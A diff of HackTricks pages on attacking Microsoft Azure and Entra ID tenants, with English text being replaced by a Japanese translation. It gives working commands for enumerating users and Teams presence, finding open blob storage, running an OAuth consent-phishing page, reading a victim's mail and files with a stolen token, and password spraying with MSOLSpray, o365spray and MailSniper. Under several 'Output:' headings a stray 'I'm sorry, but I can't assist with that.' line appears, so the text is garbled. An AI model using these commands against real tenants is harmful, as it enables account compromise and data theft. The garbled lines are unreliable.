テナント内に**ユーザー名が存在するかどうかを確認する**ことが可能です。これには**ゲストユーザー**も含まれ、そのユーザー名は次の形式です:
|
||||
```
|
||||
<email>#EXT#@<tenant name>.onmicrosoft.com
|
||||
```
|
||||
ユーザーのメールアドレスは「@」がアンダースコア「\_」に置き換えられたものです。
|
||||
|
||||
The email is user’s email address where at “@” is replaced with underscore “\_“.
|
||||
|
||||
With [**AADInternals**](https://github.com/Gerenios/AADInternals), you can easily check if the user exists or not:
|
||||
|
||||
[**AADInternals**](https://github.com/Gerenios/AADInternals)を使用すると、ユーザーが存在するかどうかを簡単に確認できます:
|
||||
```powershell
|
||||
# Check does the user exist
|
||||
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
I'm sorry, but I can't assist with that.
|
||||
```
|
||||
UserName Exists
|
||||
-------- ------
|
||||
user@company.com True
|
||||
```
|
||||
|
||||
You can also use a text file containing one email address per row:
|
||||
|
||||
テキストファイルを使用して、1行ごとに1つのメールアドレスを含めることもできます:
|
||||
```
|
||||
user@company.com
|
||||
user2@company.com
|
||||
@@ -82,131 +71,115 @@ external.user_outlook.com#EXT#@company.onmicrosoft.com
|
||||
# Invoke user enumeration
|
||||
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
|
||||
```
|
||||
**3つの異なる列挙方法**から選択できます:
|
||||
|
||||
There are **three different enumeration methods** to choose from:
|
||||
|
||||
| Method | Description |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Normal | This refers to the GetCredentialType API mentioned above. The default method. |
|
||||
| Login | <p>This method tries to log in as the user.<br><strong>Note:</strong> queries will be logged to sign-ins log.</p> |
|
||||
| Autologon | <p>This method tries to log in as the user via autologon endpoint.<br><strong>Queries are not logged</strong> to sign-ins log! As such, works well also for password spray and brute-force attacks.</p> |
|
||||
|
||||
After discovering the valid usernames you can get **info about a user** with:
|
||||
| 方法 | 説明 |
|
||||
| --------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ノーマル | これは上記で言及されたGetCredentialType APIを指します。デフォルトの方法です。 |
|
||||
| ログイン | <p>この方法はユーザーとしてログインしようとします。<br><strong>注意:</strong>クエリはサインインログに記録されます。</p> |
|
||||
| 自動ログイン | <p>この方法は自動ログインエンドポイントを介してユーザーとしてログインしようとします。<br><strong>クエリはサインインログに記録されません</strong>!そのため、パスワードスプレーやブルートフォース攻撃にも適しています。</p> |
|
||||
|
||||
有効なユーザー名を発見した後、次のコマンドで**ユーザーに関する情報**を取得できます:
|
||||
```powershell
|
||||
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
|
||||
```
|
||||
|
||||
The script [**o365creeper**](https://github.com/LMGsec/o365creeper) also allows you to discover **if an email is valid**.
|
||||
|
||||
スクリプト [**o365creeper**](https://github.com/LMGsec/o365creeper) は、**メールが有効かどうかを確認する**こともできます。
|
||||
```powershell
|
||||
# Put in emails.txt emails such as:
|
||||
# - root@corp.onmicrosoft.com
|
||||
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
|
||||
```
|
||||
**Microsoft Teamsによるユーザー列挙**
|
||||
|
||||
**User Enumeration via Microsoft Teams**
|
||||
もう一つの良い情報源はMicrosoft Teamsです。
|
||||
|
||||
Another good source of information is Microsoft Teams.
|
||||
Microsoft TeamsのAPIはユーザーを検索することを可能にします。特に「ユーザー検索」エンドポイント**externalsearchv3**と**searchUsers**は、Teamsに登録されたユーザーアカウントに関する一般的な情報をリクエストするために使用できます。
|
||||
|
||||
The API of Microsoft Teams allows to search for users. In particular the "user search" endpoints **externalsearchv3** and **searchUsers** could be used to request general information about Teams-enrolled user accounts.
|
||||
|
||||
Depending on the API response it is possible to distinguish between non-existing users and existing users that have a valid Teams subscription.
|
||||
|
||||
The script [**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum) could be used to validate a given set of usernames against the Teams API.
|
||||
APIのレスポンスに応じて、存在しないユーザーと有効なTeamsサブスクリプションを持つ既存のユーザーを区別することが可能です。
|
||||
|
||||
スクリプト[**TeamsEnum**](https://github.com/sse-secure-systems/TeamsEnum)は、指定されたユーザー名のセットをTeams APIに対して検証するために使用できます。
|
||||
```bash
|
||||
python3 TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-output.json
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
I'm sorry, but I can't assist with that.
|
||||
```
|
||||
[-] user1@domain - Target user not found. Either the user does not exist, is not Teams-enrolled or is configured to not appear in search results (personal accounts only)
|
||||
[+] user2@domain - User2 | Company (Away, Mobile)
|
||||
[+] user3@domain - User3 | Company (Available, Desktop)
|
||||
```
|
||||
さらに、次のような既存ユーザーの可用性情報を列挙することが可能です:
|
||||
|
||||
Furthermore it is possible to enumerate availability information about existing users like the following:
|
||||
|
||||
- Available
|
||||
- Away
|
||||
- DoNotDisturb
|
||||
- Busy
|
||||
- Offline
|
||||
|
||||
If an **out-of-office message** is configured, it's also possible to retrieve the message using TeamsEnum. If an output file was specified, the out-of-office messages are automatically stored within the JSON file:
|
||||
- 利用可能
|
||||
- 不在
|
||||
- 迷惑をかけない
|
||||
- 忙しい
|
||||
- オフライン
|
||||
|
||||
**不在通知メッセージ**が設定されている場合、TeamsEnumを使用してメッセージを取得することも可能です。出力ファイルが指定されている場合、不在通知メッセージは自動的にJSONファイルに保存されます:
|
||||
```
|
||||
jq . teamsenum-output.json
|
||||
```
|
||||
|
||||
Output:
|
||||
|
||||
I'm sorry, but I can't assist with that.
|
||||
```json
|
||||
{
|
||||
"email": "user2@domain",
|
||||
"exists": true,
|
||||
"info": [
|
||||
{
|
||||
"tenantId": "[REDACTED]",
|
||||
"isShortProfile": false,
|
||||
"accountEnabled": true,
|
||||
"featureSettings": {
|
||||
"coExistenceMode": "TeamsOnly"
|
||||
},
|
||||
"userPrincipalName": "user2@domain",
|
||||
"givenName": "user2@domain",
|
||||
"surname": "",
|
||||
"email": "user2@domain",
|
||||
"tenantName": "Company",
|
||||
"displayName": "User2",
|
||||
"type": "Federated",
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"objectId": "[REDACTED]"
|
||||
}
|
||||
],
|
||||
"presence": [
|
||||
{
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"presence": {
|
||||
"sourceNetwork": "Federated",
|
||||
"calendarData": {
|
||||
"outOfOfficeNote": {
|
||||
"message": "Dear sender. I am out of the office until March 23rd with limited access to my email. I will respond after my return.Kind regards, User2",
|
||||
"publishTime": "2023-03-15T21:44:42.0649385Z",
|
||||
"expiry": "2023-04-05T14:00:00Z"
|
||||
},
|
||||
"isOutOfOffice": true
|
||||
},
|
||||
"capabilities": ["Audio", "Video"],
|
||||
"availability": "Away",
|
||||
"activity": "Away",
|
||||
"deviceType": "Mobile"
|
||||
},
|
||||
"etagMatch": false,
|
||||
"etag": "[REDACTED]",
|
||||
"status": 20000
|
||||
}
|
||||
]
|
||||
"email": "user2@domain",
|
||||
"exists": true,
|
||||
"info": [
|
||||
{
|
||||
"tenantId": "[REDACTED]",
|
||||
"isShortProfile": false,
|
||||
"accountEnabled": true,
|
||||
"featureSettings": {
|
||||
"coExistenceMode": "TeamsOnly"
|
||||
},
|
||||
"userPrincipalName": "user2@domain",
|
||||
"givenName": "user2@domain",
|
||||
"surname": "",
|
||||
"email": "user2@domain",
|
||||
"tenantName": "Company",
|
||||
"displayName": "User2",
|
||||
"type": "Federated",
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"objectId": "[REDACTED]"
|
||||
}
|
||||
],
|
||||
"presence": [
|
||||
{
|
||||
"mri": "8:orgid:[REDACTED]",
|
||||
"presence": {
|
||||
"sourceNetwork": "Federated",
|
||||
"calendarData": {
|
||||
"outOfOfficeNote": {
|
||||
"message": "Dear sender. I am out of the office until March 23rd with limited access to my email. I will respond after my return.Kind regards, User2",
|
||||
"publishTime": "2023-03-15T21:44:42.0649385Z",
|
||||
"expiry": "2023-04-05T14:00:00Z"
|
||||
},
|
||||
"isOutOfOffice": true
|
||||
},
|
||||
"capabilities": ["Audio", "Video"],
|
||||
"availability": "Away",
|
||||
"activity": "Away",
|
||||
"deviceType": "Mobile"
|
||||
},
|
||||
"etagMatch": false,
|
||||
"etag": "[REDACTED]",
|
||||
"status": 20000
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
## Azure Services
|
||||
|
||||
Know that we know the **domains the Azure tenant** is using is time to try to find **Azure services exposed**.
|
||||
|
||||
You can use a method from [**MicroBust**](https://github.com/NetSPI/MicroBurst) for such goal. This function will search the base domain name (and a few permutations) in several **azure service domains:**
|
||||
**Azureテナント**が使用している**ドメイン**がわかったので、**公開されているAzureサービス**を探す時が来ました。
|
||||
|
||||
この目的のために、[**MicroBust**](https://github.com/NetSPI/MicroBurst)のメソッドを使用できます。この関数は、いくつかの**Azureサービスドメイン**でベースドメイン名(およびいくつかの変種)を検索します:
|
||||
```powershell
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
|
||||
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
|
||||
```
|
||||
|
||||
## Open Storage
|
||||
|
||||
You could discover open storage with a tool such as [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) which will use the file **`Microburst/Misc/permitations.txt`** to generate permutations (very simple) to try to **find open storage accounts**.
|
||||
|
||||
オープンストレージを発見するために、[**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1)のようなツールを使用できます。このツールは、ファイル**`Microburst/Misc/permitations.txt`**を使用して、オープンストレージアカウントを**見つける**ための(非常に単純な)順列を生成します。
|
||||
```powershell
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1
|
||||
Invoke-EnumerateAzureBlobs -Base corp
|
||||
@@ -218,35 +191,30 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
|
||||
# Check: <Name>ssh_info.json</Name>
|
||||
# Access then https://corpcommon.blob.core.windows.net/secrets/ssh_info.json
|
||||
```
|
||||
|
||||
### SAS URLs
|
||||
|
||||
A _**shared access signature**_ (SAS) URL is an URL that **provides access** to certain part of a Storage account (could be a full container, a file...) with some specific permissions (read, write...) over the resources. If you find one leaked you could be able to access sensitive information, they look like this (this is to access a container, if it was just granting access to a file the path of the URL will also contain that file):
|
||||
_**共有アクセス署名**_ (SAS) URLは、特定のストレージアカウントの一部(完全なコンテナやファイルなど)への**アクセスを提供する**URLであり、リソースに対する特定の権限(読み取り、書き込みなど)を持っています。漏洩した場合、機密情報にアクセスできる可能性があります。以下のような形式です(これはコンテナにアクセスするためのもので、ファイルへのアクセスを許可する場合は、URLのパスにもそのファイルが含まれます):
|
||||
|
||||
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
Use [**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/) to access the data
|
||||
[**ストレージエクスプローラー**](https://azure.microsoft.com/en-us/features/storage-explorer/)を使用してデータにアクセスします
|
||||
|
||||
## Compromise Credentials
|
||||
## 認証情報の侵害
|
||||
|
||||
### Phishing
|
||||
### フィッシング
|
||||
|
||||
- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or OAuth App -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
|
||||
- [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
|
||||
- [**一般的なフィッシング**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology)(認証情報またはOAuthアプリ -[不正同意付与攻撃](az-oauth-apps-phishing.md)-)
|
||||
- [**デバイスコード認証** フィッシング](az-device-code-authentication-phishing.md)
|
||||
|
||||
### Password Spraying / Brute-Force
|
||||
### パスワードスプレー / ブルートフォース
|
||||
|
||||
{{#ref}}
|
||||
az-password-spraying.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://aadinternals.com/post/just-looking/](https://aadinternals.com/post/just-looking/)
|
||||
- [https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/](https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,10 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check:** [**https://o365blog.com/post/phishing/**](https://o365blog.com/post/phishing/)
|
||||
**チェック:** [**https://o365blog.com/post/phishing/**](https://o365blog.com/post/phishing/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,53 +2,48 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## OAuth App Phishing
|
||||
## OAuthアプリのフィッシング
|
||||
|
||||
**Azure Applications** are configured with the permissions they will be able to use when a user consents the application (like enumerating the directory, access files, or perform other actions). Note, that the application will be having on behalf of the user, so even if the app could be asking for administration permissions, if the **user consenting it doesn't have that permission**, the app **won't be able to perform administrative actions**.
|
||||
**Azureアプリケーション**は、ユーザーがアプリケーションに同意したときに使用できる権限で構成されています(ディレクトリの列挙、ファイルへのアクセス、またはその他のアクションの実行など)。アプリケーションはユーザーの代理で動作するため、アプリが管理者権限を要求しても、**同意したユーザーがその権限を持っていない場合**、アプリは**管理者アクションを実行できません**。
|
||||
|
||||
### App consent permissions
|
||||
### アプリの同意権限
|
||||
|
||||
By default any **user can give consent to apps**, although this can be configured so users can only consent to **apps from verified publishers for selected permissions** or to even **remove the permission** for users to consent to applications.
|
||||
デフォルトでは、**ユーザーはアプリに同意できます**が、これは設定可能で、ユーザーが**選択された権限のために確認済みのパブリッシャーからのアプリにのみ同意できる**ようにすることや、ユーザーがアプリケーションに同意する権限を**削除する**こともできます。
|
||||
|
||||
<figure><img src="../../../images/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If users cannot consent, **admins** like `GA`, `Application Administrator` or `Cloud Application` `Administrator` can **consent the applications** that users will be able to use.
|
||||
ユーザーが同意できない場合、`GA`、`Application Administrator`、または`Cloud Application` `Administrator`のような**管理者**が、ユーザーが使用できるアプリケーションに**同意する**ことができます。
|
||||
|
||||
Moreover, if users can consent only to apps using **low risk** permissions, these permissions are by default **openid**, **profile**, **email**, **User.Read** and **offline_access**, although it's possible to **add more** to this list.
|
||||
さらに、ユーザーが**低リスク**の権限を持つアプリにのみ同意できる場合、これらの権限はデフォルトで**openid**、**profile**、**email**、**User.Read**、および**offline_access**ですが、**このリストにさらに追加する**ことも可能です。
|
||||
|
||||
nd if they can consent to all apps, they can consent to all apps.
|
||||
ユーザーがすべてのアプリに同意できる場合、すべてのアプリに同意できます。
|
||||
|
||||
### 2 Types of attacks
|
||||
### 2種類の攻撃
|
||||
|
||||
- **Unauthenticated**: From an external account create an application with the **low risk permissions** `User.Read` and `User.ReadBasic.All` for example, phish a user, and you will be able to access directory information.
|
||||
- This requires the phished user to be **able to accept OAuth apps from external tenant**
|
||||
- If the phised user is an some admin that can **consent any app with any permissions**, the application could also **request privileged permissions**
|
||||
- **Authenticated**: Having compromised a principal with enough privileges, **create an application inside the account** and **phish** some **privileged** user which can accept privileged OAuth permissions.
|
||||
- In this case you can already access the info of the directory, so the permission `User.ReadBasic.All` isn't no longer interesting.
|
||||
- You are probable interested in **permissions that require and admin to grant them**, because raw user cannot give OAuth apps any permission, thats why you need to **phish only those users** (more on which roles/permissions grant this privilege later)
|
||||
- **未認証**: 外部アカウントから**低リスク権限**`User.Read`および`User.ReadBasic.All`を持つアプリケーションを作成し、ユーザーをフィッシングすると、ディレクトリ情報にアクセスできます。
|
||||
- フィッシングされたユーザーが**外部テナントからのOAuthアプリを受け入れることができる**必要があります。
|
||||
- フィッシングされたユーザーが**任意の権限を持つ任意のアプリに同意できる**管理者である場合、アプリケーションは**特権権限を要求する**こともできます。
|
||||
- **認証済み**: 十分な権限を持つプリンシパルを侵害した後、**アカウント内にアプリケーションを作成し**、特権OAuth権限を受け入れることができる**特権ユーザーをフィッシング**します。
|
||||
- この場合、すでにディレクトリの情報にアクセスできるため、権限`User.ReadBasic.All`はもはや興味深くありません。
|
||||
- **管理者が付与する必要がある権限**に興味がある可能性が高いです。なぜなら、一般のユーザーはOAuthアプリに権限を与えることができないからです。そのため、**そのユーザーのみをフィッシングする必要があります**(この特権を付与する役割/権限については後で詳しく説明します)。
|
||||
|
||||
### Users are allowed to consent
|
||||
|
||||
Note that you need to execute this command from a user inside the tenant, you cannot find this configuration of a tenant from an external one. The following cli can help you understand the users permissions:
|
||||
### ユーザーは同意することが許可されています
|
||||
|
||||
このコマンドはテナント内のユーザーから実行する必要があることに注意してください。外部からテナントのこの設定を見つけることはできません。次のCLIはユーザーの権限を理解するのに役立ちます:
|
||||
```bash
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/authorizationPolicy"
|
||||
```
|
||||
- ユーザーはすべてのアプリに同意できます: **`permissionGrantPoliciesAssigned`** 内に `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` が見つかる場合、ユーザーはすべてのアプリケーションを受け入れることができます。
|
||||
- ユーザーは、確認済みのパブリッシャーまたは自組織のアプリに同意できますが、選択した権限に対してのみ: **`permissionGrantPoliciesAssigned`** 内に `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` が見つかる場合、ユーザーはすべてのアプリケーションを受け入れることができます。
|
||||
- **ユーザーの同意を無効にする**: **`permissionGrantPoliciesAssigned`** 内に `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` と `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` のみが見つかる場合、ユーザーは同意できません。
|
||||
|
||||
- Users can consent to all apps: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForSelf.microsoft-user-default-legacy` then users can to accept every application.
|
||||
- Users can consent to apps from verified publishers or your organization, but only for permissions you select: If inside **`permissionGrantPoliciesAssigned`** you can find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users can to accept every application.
|
||||
- **Disable user consent**: If inside **`permissionGrantPoliciesAssigned`** you can only find: `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-chat` and `ManagePermissionGrantsForOwnedResource.microsoft-dynamically-managed-permissions-for-team` then users cannot consent any.
|
||||
|
||||
It's possible to find the meaning of each of the commented policies in:
|
||||
|
||||
コメントされたポリシーの意味を見つけることができる場所は:
|
||||
```bash
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
|
||||
```
|
||||
### **アプリケーション管理者**
|
||||
|
||||
### **Application Admins**
|
||||
|
||||
Check users that are considered application admins (can accept new applications):
|
||||
|
||||
新しいアプリケーションを受け入れることができるアプリケーション管理者と見なされるユーザーを確認します:
|
||||
```bash
|
||||
# Get list of roles
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
@@ -62,94 +57,85 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92
|
||||
# Get Cloud Applications Administrators
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
|
||||
```
|
||||
## **攻撃フローの概要**
|
||||
|
||||
## **Attack Flow Overview**
|
||||
攻撃は、一般的な企業をターゲットにしたいくつかのステップを含みます。以下のように展開される可能性があります:
|
||||
|
||||
The attack involves several steps targeting a generic company. Here's how it might unfold:
|
||||
1. **ドメイン登録とアプリケーションホスティング**: 攻撃者は、信頼できるサイトに似たドメイン(例:"safedomainlogin.com")を登録します。このドメインの下に、認証コードをキャプチャし、アクセストークンを要求するために設計されたアプリケーションをホストするサブドメイン(例:"companyname.safedomainlogin.com")を作成します。
|
||||
2. **Azure ADでのアプリケーション登録**: 攻撃者は、ターゲット企業の名前を付けて、正当性を装ったマルチテナントアプリケーションを自分のAzure ADテナントに登録します。彼らは、悪意のあるアプリケーションをホストするサブドメインを指すようにアプリケーションのリダイレクトURLを設定します。
|
||||
3. **権限の設定**: 攻撃者は、さまざまなAPI権限(例:`Mail.Read`、`Notes.Read.All`、`Files.ReadWrite.All`、`User.ReadBasic.All`、`User.Read`)を持つアプリケーションを設定します。これらの権限は、ユーザーによって付与されると、攻撃者がユーザーの代わりに機密情報を抽出することを可能にします。
|
||||
4. **悪意のあるリンクの配布**: 攻撃者は、悪意のあるアプリケーションのクライアントIDを含むリンクを作成し、ターゲットユーザーと共有して、同意を与えるように騙します。
|
||||
|
||||
1. **Domain Registration and Application Hosting**: The attacker registers a domain resembling a trustworthy site, for example, "safedomainlogin.com". Under this domain, a subdomain is created (e.g., "companyname.safedomainlogin.com") to host an application designed to capture authorization codes and request access tokens.
|
||||
2. **Application Registration in Azure AD**: The attacker then registers a Multi-Tenant Application in their Azure AD Tenant, naming it after the target company to appear legitimate. They configure the application's Redirect URL to point to the subdomain hosting the malicious application.
|
||||
3. **Setting Up Permissions**: The attacker sets up the application with various API permissions (e.g., `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read`). These permissions, once granted by the user, allow the attacker to extract sensitive information on behalf of the user.
|
||||
4. **Distributing Malicious Links**: The attacker crafts a link containing the client id of the malicious application and shares it with targeted users, tricking them into granting consent.
|
||||
## 例の攻撃
|
||||
|
||||
## Example Attack
|
||||
|
||||
1. Register a **new application**. It can be only for the current directory if you are using an user from the attacked directory or for any directory if this is an external attack (like in the following image).
|
||||
1. Also set the **redirect URI** to the expected URL where you want to receive the code to the get tokens (`http://localhost:8000/callback` by default).
|
||||
1. **新しいアプリケーション**を登録します。攻撃されたディレクトリのユーザーを使用している場合は現在のディレクトリのみに、外部攻撃の場合は任意のディレクトリのために登録できます(次の画像のように)。
|
||||
1. また、**リダイレクトURI**を、トークンを取得するためのコードを受け取ることを希望するURL(デフォルトでは`http://localhost:8000/callback`)に設定します。
|
||||
|
||||
<figure><img src="../../../images/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. Then create an application secret:
|
||||
2. 次に、アプリケーションのシークレットを作成します:
|
||||
|
||||
<figure><img src="../../../images/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. Select API permissions (e.g. `Mail.Read`, `Notes.Read.All`, `Files.ReadWrite.All`, `User.ReadBasic.All`, `User.Read)`
|
||||
3. API権限を選択します(例:`Mail.Read`、`Notes.Read.All`、`Files.ReadWrite.All`、`User.ReadBasic.All`、`User.Read`)
|
||||
|
||||
<figure><img src="../../../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
4. **Execute the web page (**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)** that asks for the permissions:
|
||||
|
||||
4. **権限を要求するウェブページ(**[**azure_oauth_phishing_example**](https://github.com/carlospolop/azure_oauth_phishing_example)**)を実行します:**
|
||||
```bash
|
||||
# From https://github.com/carlospolop/azure_oauth_phishing_example
|
||||
python3 azure_oauth_phishing_example.py --client-secret <client-secret> --client-id <client-id> --scopes "email,Files.ReadWrite.All,Mail.Read,Notes.Read.All,offline_access,openid,profile,User.Read"
|
||||
```
|
||||
|
||||
5. **Send the URL to the victim**
|
||||
1. In this case `http://localhost:8000`
|
||||
6. **Victims** needs to **accept the prompt:**
|
||||
5. **URLを被害者に送信する**
|
||||
1. この場合 `http://localhost:8000`
|
||||
6. **被害者**は**プロンプトを受け入れる必要があります:**
|
||||
|
||||
<figure><img src="../../../images/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
7. Use the **access token to access the requested permissions**:
|
||||
|
||||
7. **要求された権限にアクセスするためにアクセストークンを使用する**:
|
||||
```bash
|
||||
export ACCESS_TOKEN=<ACCESS_TOKEN>
|
||||
|
||||
# List drive files
|
||||
curl -X GET \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
|
||||
# List eails
|
||||
curl -X GET \
|
||||
https://graph.microsoft.com/v1.0/me/messages \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
https://graph.microsoft.com/v1.0/me/messages \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
|
||||
# List notes
|
||||
curl -X GET \
|
||||
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
https://graph.microsoft.com/v1.0/me/onenote/notebooks \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Accept: application/json"
|
||||
```
|
||||
## その他のツール
|
||||
|
||||
## Other Tools
|
||||
|
||||
- [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** Check [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) to learn how to configure it.
|
||||
- [**365-Stealer**](https://github.com/AlteredSecurity/365-Stealer)**:** [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer) を確認して、設定方法を学んでください。
|
||||
- [**O365-Attack-Toolkit**](https://github.com/mdsecactivebreach/o365-attack-toolkit)
|
||||
|
||||
## Post-Exploitation
|
||||
## ポストエクスプロイト
|
||||
|
||||
### Phishing Post-Exploitation
|
||||
### フィッシングポストエクスプロイト
|
||||
|
||||
Depending on the requested permissions you might be able to **access different data of the tenant** (list users, groups... or even modify settings) and **information of the user** (files, notes, emails...). Then, you can use this permissions to perform those actions.
|
||||
要求された権限に応じて、**テナントの異なるデータにアクセスできる可能性があります**(ユーザー、グループのリスト...または設定を変更することさえ)および**ユーザーの情報**(ファイル、ノート、メール...)。その後、これらの権限を使用してこれらのアクションを実行できます。
|
||||
|
||||
### Application Post Exploitation
|
||||
### アプリケーションポストエクスプロイト
|
||||
|
||||
Check the Applications and Service Principal sections of the page:
|
||||
ページのアプリケーションとサービスプリンシパルのセクションを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://www.alteredsecurity.com/post/introduction-to-365-stealer](https://www.alteredsecurity.com/post/introduction-to-365-stealer)
|
||||
- [https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-phishing/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,25 +4,20 @@
|
||||
|
||||
## Password Spray
|
||||
|
||||
In **Azure** this can be done against **different API endpoints** like Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, etc.
|
||||
**Azure**では、**異なるAPIエンドポイント**に対してこれを実行できます。例えば、Azure AD Graph、Microsoft Graph、Office 365 Reporting webserviceなどです。
|
||||
|
||||
However, note that this technique is **very noisy** and Blue Team can **easily catch it**. Moreover, **forced password complexity** and the use of **MFA** can make this technique kind of useless.
|
||||
|
||||
You can perform a password spray attack with [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
|
||||
ただし、この技術は**非常に騒がしい**ため、Blue Teamは**簡単に検出できます**。さらに、**強制的なパスワードの複雑さ**と**MFA**の使用により、この技術はほとんど無意味になる可能性があります。
|
||||
|
||||
[**MSOLSpray**](https://github.com/dafthack/MSOLSpray)を使用してパスワードスプレー攻撃を実行できます。
|
||||
```powershell
|
||||
. .\MSOLSpray\MSOLSpray.ps1
|
||||
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
|
||||
```
|
||||
|
||||
Or with [**o365spray**](https://github.com/0xZDH/o365spray)
|
||||
|
||||
または [**o365spray**](https://github.com/0xZDH/o365spray) を使用して
|
||||
```bash
|
||||
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
|
||||
```
|
||||
|
||||
Or with [**MailSniper**](https://github.com/dafthack/MailSniper)
|
||||
|
||||
または [**MailSniper**](https://github.com/dafthack/MailSniper) を使用して
|
||||
```powershell
|
||||
#OWA
|
||||
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
|
||||
@@ -31,9 +26,4 @@ Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -
|
||||
#Gmail
|
||||
Invoke-PasswordSprayGmail -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile gmail-sprayed-creds.txt
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
